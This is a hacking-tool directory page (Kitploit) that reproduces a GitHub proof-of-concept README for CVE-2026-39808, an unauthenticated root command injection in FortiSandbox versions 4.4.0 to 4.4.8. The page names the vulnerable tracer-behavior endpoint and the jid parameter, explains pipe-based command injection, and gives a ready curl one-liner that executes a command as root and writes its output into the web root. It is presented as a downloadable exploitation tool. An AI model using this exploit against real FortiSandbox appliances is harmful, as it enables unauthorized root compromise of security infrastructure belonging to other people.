Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-39808 — PoC for Unauthenticated RCE in FortiSandbox via CVE-2026-39808 | Kitploit
Tools/GitHubGitHub/samu-delucas/cve-2026-39808
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubsamu-delucas/cve-2026-39808

CVE-2026-39808

PoC for Unauthenticated RCE in FortiSandbox via CVE-2026-39808

View Repository
924 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-39808

On November 2025, a critical vulnerability was discovered on Fortinet's FortiSandbox which allowed an unauthenticated attacker to execute commands in the underlying OS as root. The vulnerability was patched and finally made public on April 2026.

This vulnerability affects FortiSandbox versions 4.4.0 through 4.4.8.

Read the full advisory here.

The vulnerability

The vulnerability affects the /fortisandbox/job-detail/tracer-behavior endpoint. OS commands can be injected using the pipe symbol (|) on the jid GET parameter.

image008

In the example above, output was redirected to a file in the web root, so that it can be retrieved afterwards.

image

PoC

A simple curl command is enough to achieve RCE as root with no previous authentication:

root@kitploit:~
curl -s -k --get "http://$HOST/fortisandbox/job-detail/tracer-behavior" --data-urlencode "jid=|(id > /web/ng/out.txt)|"
Download Tool